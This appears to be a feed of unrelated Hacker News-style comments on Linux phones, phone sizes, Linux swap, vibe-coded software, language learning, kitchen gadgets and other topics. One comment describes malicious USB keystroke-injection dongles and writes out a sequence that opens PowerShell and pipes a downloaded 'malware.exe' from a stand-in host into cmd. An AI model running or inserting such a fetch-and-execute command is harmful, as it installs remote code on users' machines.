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by red369 | 2025-09-21 08:02:52+00:00
> This is a Linux phone that actually works, running Debian. It has a battery that competes with the runtime of any modern phone. It has a snappy UI and can reliably make calls. Already it’s the best Linux phone in the world, just on that basis.

"Shut up and take my mo... 170mm x 76 mm, 201g? Sigh - never mind!"

Sorry for adding one more awful comment. If they make a mini version, I will absolutely put my money where my mouth is.
by defvar | 2025-09-21 08:03:47+00:00
This reminds me of "Thousand Character Text"(千字文), which is a Chinese poem that has been used as a primer for teaching Chinese characters to children from the sixth century onward. It contains exactly one thousand characters, each used only once, arranged into 250 lines of four characters apiece and grouped into four line rhyming stanzas to facilitate easy memorization.

See Also: https://en.wikipedia.org/wiki/Thousand_Character_Classic
by aaronmdjones | 2025-09-21 08:03:56+00:00
Malicious USB dongles capable of achieving this have been demonstrated before. For example, a Windows-targetting variant injects the keyboard sequence

Super+R (Sleep for 1 second) powershell.exe (Enter) (Sleep for 1 second) wget http://example.net/malware.exe | cmd (Enter)

For example, a Rubber Ducky [1] can trivially be configured to accomplish this with the included tooling in under 5 minutes.

[1] https://shop.hak5.org/products/usb-rubber-ducky
by Freak_NL | 2025-09-21 08:04:43+00:00
Even quality can be fine on AliExpress for all sorts of parts and even custom work. Small screws in a specific size, wood routing bits, drill bits, magnets, crafting stuff…

I had a cutting die for leather made there in a shape specified by me, and the process, while clunky with their spammy message box, was pretty much as pleasant as you could expect, and the workmanship excellent.

Just don't buy clothing or end-user electronics there. For makers, crafters, and tinkerers AliExpress is a great resource while it lasts¹.

1: The US obviously has its tariffs thing going on. The EU is considering a fixed €2 surcharge for packages from China.
by red369 | 2025-09-21 08:04:46+00:00
Thank you for doing God's work. I wish I'd bought a Firefox phone - I would have been burned, but some people need to be for us to get anywhere. I tried to make up for it by buying an early generation FrameWork laptop.

Edit: If you notice that this does not match with another comment I've made saying I wouldn't buy this because of the size, I can only offer as a defence that I'm also trying to vote with my wallet about the size of phones so I'm torn.

I think it's probably better on balance to have a small phone that does everything that it should perfectly, and live with the compromise of living with the walled garden, while still being small to easily hold and encourage me to go and use a more appropriate device than something I've pulled from my pocket for any task that requires staring at a screen.
by hackrmn | 2025-09-21 08:05:09+00:00
The context is the same though, regardless of screen size? The UI and/or UX doesn't change much when the screen is physically smaller? The resolution usually stays the same, and even if it shrank or grew, most apps wouldn't care as the libraries used to render their widgets are more or less "resolution invariant".

I mean I get what you're implying, I am just making sure I understand the meaning of "context" here. But if you have large fingers, smaller buttons obviously make the device harder to use, no two ways about it. However, in Android and iOS both, it's possible (for the user) to scale everything up, to help solve that very problem.

The bigger battery argument is a valid one too, but you have to keep in mind that most of the battery is consumed by the screen on average, and larger screen will eat more battery, so it's a bit like the rocket equation -- bigger rocket needs more fuel, more fuel needs more space and adds weight to the rocket, more rocket more fuel again and so on. In terms of batteries and rockets both, there's a golden middle there somewhere, I think. But it's a moving quantity since both screens and batteries are different -- OLED vs LED-lit LCD screen and LiPo vs LiOn for battery and so on. In short: I don't think a 5,5" phone (my preferred size) will suffer from shorter battery life, perhaps on the contrary (vs. a 6,5"). Especially considering that _large_ phones tend to be made _thinner_, since their ergonomics depends more on thickness (for the large width and height), perhaps becoming a problem with more than 8mm thickness, while a 5,5" phone can in fact be used comfortably even if it was 8-10mm thick, since it's smaller in the other two dimensions. That extra afforded thickness can directly translate to a battery that is as large or larger in terms of capacity as one for a 7mm "slick" 6,5" phone.
by Protostome | 2025-09-21 08:05:23+00:00
People who don’t really follow the region often paint Israeli moves as a "land grab." But since Oct 7, 2023, Israel’s been taking a much more active line against jihadist groups across the neighborhood. And look at Syria: the current president, Ahmed al-Sharaa (better known as Abu Mohammad al-Julani), used to lead HTS and before that Jabhat al-Nusra—both tied to al-Qaeda. That’s not exactly a situation where "just wait it out" sounds responsible. For years, most Israelis backed a two-state solution. That faith took a beating after the Second Intifada, and support’s been sliding and splitting along political lines ever since. Over the last two decades, extremists on both sides took over most of the public debate, and "peace talks" became a heresy. When you talk to pro-Palestinian-state advocates, a simple litmus test is:"Do you accept Israel’s right to exist?" Too often, the answer is no. With this kind of line of thought, you can't really make peace - this is exactly what "River to the Sea" mean to Israelis who hear people all over the world chanting this phrase.

If you want unfiltered street-level vibes from both sides, Corey Gil-Shuster’s YouTube channel is a gold mine of candid answers. You'd be surprised how many times the notion of palestinian "peace" is judenfrei Isreal (Saying basically, that jews should go back to europe) https://www.youtube.com/watch?v=xH1iV1fb2pg
by AstroNutt | 2025-09-21 08:06:06+00:00
When I got my first Xbox, I had hell playing Halo and Call of Duty, until I found the look inversion in settings. I immediately got better at playing. My friends hated it when I came over to play on their console because I always screwed with their controller settings.

Look inversion always felt natural. I never played flight simulators either. It must have been something I got used to on an arcade game in the 80's. I have no clue what game it could have been though. I wish I had all those quarters back.
by mikecwang | 2025-09-21 08:07:28+00:00
I’ve been working on my first open-source framework in Go, called Anclax.

The main ideas:

- One Postgres for all: Postgres here is not only the database, but also the message queue， maybe more in the future — while still allowing seamless migration to Kafka or other BIG systems later if the project grows.

- Built-in modules: starts with async/event queue, later may include more common services in web dev.

- Definition-first: use OpenAPI spec to define HTTP, SQL to define schema/queries, etc, then generate the glue code.

- New attempts: for example, macaroons tokens for auth.

- Convention over configuration: reduce hesitation, do more with less setup.

I’m an independent developer who often builds small projects. Over time I found myself repeating the same work again and again, so I turned that repetition into Anclax.

This is my first time releasing a framework. I don’t have much experience with open source projects, so I’d really appreciate feedback and discussion.

Repo: https://github.com/cloudcarver/anclax
by smelendez | 2025-09-21 08:07:43+00:00
Urine has long been used in medical testing and treatment. The term diabetes mellitus comes from the sweet taste of patients’ urine, for instance.

Estrogen extracted from pregnant women’s urine used to be used as a supplement for menopausal women. I read recently that some doctors would overprescribe urine tests during pregnancy, bill the patient and sell the excess urine.

Later as an estrogen supplement came Premarin, which is made from pregnant mares’ urine.
by jandrewrogers | 2025-09-21 08:07:54+00:00
That’s one way but far from the only one. Producers like to do things like make random deals through their myriad divisions to offload inventory to a random reseller very cheaply that ultimately finds its way onto Amazon at a price that undercuts cost of the original producer’s contract on Amazon. The cost of sales are not the same on Amazon even if you are selling the same product, so they can legit undercut you. You also have different divisions of the same company around the world all selling on Amazon under different contracts competing with each other (which Amazon tacitly encourages AFAICT).

Smart companies put contracts globally that have Amazon implications under a single person who can see across every deal. If they sell to someone with a restriction on Amazon resale, they will mark those goods so that they can track it if it shows up on Amazon. However, there are so many fly-by-night resellers that this is a losing proposition, so many don’t bother with those resellers anymore because enforcement yields nothing.

The vast majority of companies are naive and not very smart about any of this. People that know how to systematically set up a sales program that is profitable and resistant to arbitrage on Amazon get paid a lot of money in industry. It isn’t that hard but most companies can’t seem to figure it out.
by srean | 2025-09-21 08:10:39+00:00
My language learning problem is slightly different and quite under-served because my motivation is not the most common one.

I want to learn so that I can read/understand publications in mathematics in a foreign language, mostly Swedish, French, German. (*) For this exercise, the typical apps do not help much.

(*) I would have liked to add Latin and Greek too but that's mostly a pipe dream.

Reading old mathematicians and scholars I have realized something that runs quite counter to the common perception we have, especially in my country.

That common perception is school kids, especially in mid and high school are overwhelmingly burdened by sheer volume of subject matter to learn at a very young age. But then I look at educated teenagers from 17th - 18th centuries, who went on to become mathematicians or scholars, they were so immensely well read at a very young age. I understand this is a biased sample, but many of these people, Newton, for example, were ordinary folks (socio-economically speaking)

Hamilton (I concede that one cannot compare Hamilton with a typical modern teenager) was already quite fluent in thirteen languages in his pre-teens. Apart from the usual suspects, he knew Arabic, Hebrew, Farsi, Sanskrit, Hindi, Marathi.

This might sound atypical but this was not unheard of. One of the poets in my language was fluent in Hebrew, Greek, Italian, French, Latin, Sanskrit, Telugu, Tamil, Bengali, English.
by hackrmn | 2025-09-21 08:12:03+00:00
I haven't thought about it as much as I have about sizes, but you do have an interesting point to ponder. I can only offer an explanation, but no consolation:

I guess electronics has gotten denser, and density for the same volume is what quite literally translates to larger weight. The density thing is because they're able to cram more electronics, as our fabrication technology inches forward (i.e. Intel/TSMC/Nvidia/etc trying to break the 1nm barrier for transistors).

Remember the old Nokia phones, where the plastic shell likely amounted to as much volume that a modern phone instead dedicates to the entire front camera device? The latter will weigh much more than the plastic, for the same volume. Now apply that to _every_ component in the modern phone, and the difference is multiplicative -- there's just more features in every cubic millimeter of the phone today. No wonder it's getting heavier.
by stefs | 2025-09-21 08:12:31+00:00
> "In the worst case" ...

in the average case it should only be a fraction of that, because otherwise why multiplayer. they also mention "events" a lot, so i guess this isn't targeted towards normal run-of-the-mill minecraft play but special events like those society simulation experiments you can see on youtube, which are usually quite condensed.

still, the question is, how much faster is rust at world simulation? they mention vertical scaling, so i guess it's somewhat limited.
by jibal | 2025-09-21 08:12:49+00:00
That is a category mistake--neither individual ants nor ant colonies know anything at all about such things. They aren't the sorts of entities that can have such goals. Those things are consequences of their behavior, but their behavior is established by evolution--genes that produce behaviors that result in survival of those genes into the future are retained, those that don't perish. Nothing in this picture has goals, only consequences.
by ggm | 2025-09-21 08:13:39+00:00
Because covid happened. Spare a thought for sailors for flag of convenience boats stuck in the Suez for years, or stranded on an impounded boat with no money, which is surprisingly common: if they leave they forfeit their backpay.

It's a good read. I didn't think about people in her situation, unable to get to a safe harbour and running low on supplies.
by bob1029 | 2025-09-21 08:14:04+00:00
> You simply cannot compute the gates for the entire sequence in one shot, because each step requires the output from the one before it. This forces a sequential loop, which is notoriously inefficient on parallel hardware like GPUs.

> The crux of the paper is to remove this direct dependency. The simplified models, minGRU and minLSTM, redefine the gates to depend only on the current input

The entire hypothesis of my machine learning experiments has been that we should embrace the time domain and causal dependencies. I really think biology got these elements correct. Now, the question remains - Which kind of computer system is most ideal to run a very branchy and recursive workload?

Constantly adapting our experiments to satisfy the constraints of a single kind of compute vendor is probably not healthy for science over the long term.
by quotemstr | 2025-09-21 08:14:48+00:00
> Oh, look, somebody just re-discovered static typing.

If you're going to smug, at least do it when you're on the right side of the technology. The problem the article describes has nothing to do with the degree of static typing a language might have. You can make narrow, tight, clean interfaces in dynamic languages; you can make sprawling and unfocused ones in statically-typed languages.

The problem is one of mindset --- the way I'd do it, an insufficient appreciation of the beauty of parsimony. Nothing to do with any specific type system or language.
by bawolff | 2025-09-21 08:16:01+00:00
> What I don't understand is why modern Linux is so shy of touching swap. With old kernels, Linux happily pushed unused pages to a swap, so even if you don't eat memory, your swap will be filled with tens or hundreds MB of memory and that's a great thing. Modern kernel just keeps swap usage at 0, until memory is exhausted.

The article has the answer.
by necovek | 2025-09-21 08:17:20+00:00
You can stretch this even further, but only if you can give me a number of pedestrians who have never used a road vehicle (public transport included), or had a motorised delivery to their home or office. (This is analogous to watching an MMA match but never partaking, right?)

Oh, roads are useful for them too?

All the drivers/passengers are pedestrians too, and very close to all pedestrians are drivers or passengers on the very same roads.

This is about a moment of time and their active mode of transportation.

(The closest one gets is by using subway strictly, which requires a significantly more expensive underground infrastructure)
by hackrmn | 2025-09-21 08:17:22+00:00
In all frankness, I think this is the legandary "if people wanted a faster horse..." statement of Henry Ford -- consumers don't always know what they want, and I know quite a few who couldn't confidently answer the question "why did you buy a 6,5" iPhone?" with anything else but "I have used iPhone all my life and this is the size they sell", meaning the consumer doesn't choose much, the choice is to buy a newer iPhone. The simplified argument that goes along "phones are getting larger because consumers want larger phones" is indeed only that -- a very simplified way to look at it. There's much more going on there.

It's very similar to smart TVs. Yes, most people do prefer smart TVs, but vendors use it very successfully to sell inferior displays (poor color, poor contrast etc), to compensate and to pull more selling margin, since that's how the consumer functions (being utterly unable to quantify display quality for an uncalibrated TV). Anyway, I am digressing -- the point of my comparison is that it's complicated and not nearly as simple as "consumers want larger phones / TVs with slow menus and shitty picture as long as there's Netflix in there".
by ggm | 2025-09-21 08:18:05+00:00
As opposed to E1 links in Europe. Same same until you want to patch a US T1 to a European E1. Some sweet hardware money was made dealing with that. ( different framing, 2mbit/s instead of 1.44, 56kbps splits vs 64kbps splits. Clocks are a nightmare.

Story is that Bell tested the T1 in comms pits around Murray Hill NJ and when it worked for a long city block between two manholes they knew they had a product they could sell.

Watched a telco guy fix a broke E1 by sending one of the pairs a bit further round the krone frame to separate the signals better. I've even seen them add more wire to try and dampen down some local noise or reflectance or harmonics or something.

The old E1/T1 lines were sometimes pressurised and came with fancy brass taps to let the water out with its own teeny weeny bucket hanging off the tap. I kid you not.
by AstroNutt | 2025-09-21 08:18:21+00:00
My 2025 CX50 has excellent input controls. It's almost like using a mouse on the center console. Once you realize the home, back button, scroll and enter button are all within a fingers reach, it's very intuitive. It took about five minutes to master it when I first got the car and I realized how it worked.

On my car, the touchscreen only works when Android Auto or Apple CarPlay are enabled. I'm assuming all newer models are the same. There are lots of audio control built in the steering wheel too. I don't find any of it distracting.
by brap | 2025-09-21 08:20:19+00:00
I wrote in another comment that I think this pitch is a 10/10, but I think I understand the skepticism.

There's something about this sort of product that feels inherently gimmicky. I can't quite explain why, maybe because it's too good to be true, maybe because it's a kitchen appliance, maybe it has something to do with the vibrations.

For instance, my girlfriend has this eye cream applicator(?) that vibrates... for some reason. Is it a gimmick? I don't really know, but there isn't a research paper in the world that would convince me it isn't.

Anyways, this video had me hooked, and I would 100% try this out if I could. But I would never buy it without trying first.
by DyslexicAtheist | 2025-09-21 08:21:23+00:00
what makes Latin difficult in your context? My focus isn't Math and fwiw found many very good, free, entry-level[1] self-study[2] books (Hans Orberg and others), and even Latin podcasts. There is even a fun Latin track on some of the popular language learning apps.

[1] https://archive.org/details/conspectus-grammaticus-familia-r...

[2] https://latinitium.com/best-books-for-learning-latin/
by scorpioxy | 2025-09-21 08:22:14+00:00
I have been taking on "rescue" projects for a while through my business. Previously, the barely-functioning code was usually being generated via outsourcing agencies but it seems the new source is now going to be LLMs.

I imagine it will be the same set of issues really. Just a different way of cost cutting measures. There can be good reasons to take shortcuts but, in my experience, the problems start when you're not mindful that there's a price to pay for taking these shortcuts. Whether it comes from managers, employees or outsourced personnel, it's the same result.

I haven't thought about advertising it as a separate type of service(for vibe coded platforms) yet but maybe I should. The Australian software market is small so haven't been hearing much about the results of those experiments.
by dandelionv1bes | 2025-09-21 08:22:17+00:00
Agreed. NotebookLM is one of my most used tools for my research work. I’m able to give the audio overview to friends and family who don’t want to read a paper but am interested in what I’m doing. And the “live” talk allows me to interrogate my own work and identify gaps where I haven’t explained something well.
by man8alexd | 2025-09-21 08:22:28+00:00
The proper rule of thumb is to make the swap large enough to keep all inactive anonymous pages after the workload has stabilized, but not too large to cause swap thrashing and a delayed OOM kill if a fast memory leak happens.

Another rule of thumb is that performance degradation due to the active working set spilling into the swap is exponential - 0.1% excess causes 2x degradation, 1% - 10x degradation, 10% - 100x degradation (assuming 10^3 difference in latency between RAM and SSD).
by nsarrazin | 2025-09-21 08:23:54+00:00
To me the main appeal of this is not that it makes cutting easier (you already reduce much of the cutting force needed if you slice across instead of pushing down, which this seems to be doing at a micrometer level) but the fact that food doesn't stick to the blade.

All of my knives have sticking issues, potato slices are the worst culprits. When doing a lot of prep work on veggies in a cramped area it's a pain and this seems like it could actually fix things?

OTOH, I'm not a huge fan of the design, I don't mind spending good money on a knife but between the blade profile and the chonky handle, it looks like an hybrid between an 8" fibrox and an electric turkey cutter.

If there was a premium release with a fancier handle (could wood work?) and a nicer blade profile (something like a gyuto or a french sabatier) I would be interested and I think it would reduce sticker shock (looks premium, expect premium price). I love the design of the charging tile though!
by komali2 | 2025-09-21 08:24:46+00:00
I found this https://en.wikipedia.org/wiki/Amelia_(1795_ship) which may be that ship and it's indicated it may have been a slaver and is in the ballpark of the right time period.

Ironically there was an HMS Amelia that was first used to defend slavery and then used to uphold abolishment of the slave trade https://yarmouthmuseums.wordpress.com/2021/06/15/the-hms-ame...
by sltr | 2025-09-21 08:26:05+00:00
Vibe code has a lot in common with legacy code.

Low confidence to change it, low internal and external quality.

Also some differences: low age-to-quantity ratio, schedule pressure, inflated expectations.

It's most cost-effective to shift errors from runtime to compile time and from compile time to design time.

Unfortunately, AI rushes people to runtime as fast as possible.
by howToTestFE | 2025-09-21 08:26:15+00:00
I wonder how many of these vibe coding build apps will grow to massive apps/be really popular (I imagine a lot of them will)... and what kind of security vulns we'll see everywhere because of how it was initally built...

i can only imagine that services like described in this article will become a very common part of getting proof of concepts built with AI into production.....